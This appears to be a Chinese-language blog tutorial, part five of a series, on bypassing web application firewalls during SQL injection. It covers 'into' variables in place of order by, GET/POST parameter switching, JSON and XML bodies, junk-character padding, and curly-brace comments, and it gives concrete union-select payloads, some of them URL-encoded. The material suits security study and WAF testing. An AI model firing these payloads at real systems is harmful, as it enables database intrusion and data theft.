SQL 注入绕过(五)

一、order by 绕过

当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。
select * from users where id=1 into @a,@b,@c,@d;

在这里插入图片描述

二、http 相同参数请求绕过

1、原理分析

waf 在对危险字符进行检测的时候,分别为 post请求和 get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测。
如果程序中能同时接收 get、post,如果 waf 只对 get进行匹配拦截,没有对 post进行拦截。
<?php
echo $_REQUEST['id'];
?>
有些 waf 只要存在 GET或者 POST,优先匹配 POST,从而导致被绕过。

2、实操

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、application/json 或者 text/xml 绕过

1、原理分析

有些程序是 json 提交参数,程序也是 json 接收,再拼接到 SQL 执行。
json 格式通常不会被拦截。所以可以绕过 waf。

text/xml 也不会被拦截。

在这里插入图片描述

四、运行大量字符绕过

1、原理分析+实操

可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截。
id=1 and (select 1) and (select 0xA*1000) union select 1,user()-- &submit=1

post编码:
id%3d1+and+(select+1)+and+(select+0xA*1000)+union+select+1,user()--+%26submit%3d1

在这里插入图片描述
在这里插入图片描述

五、花扩号绕过

1、原理分析

select 1,2 union select{x 1},user();
花括号左边是注释的内容,这样可以一些 waf 的拦截。

2、实操

 select * from users where id=1 union select {xxx 1},{yyy 2},{zzz 3},user();

在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值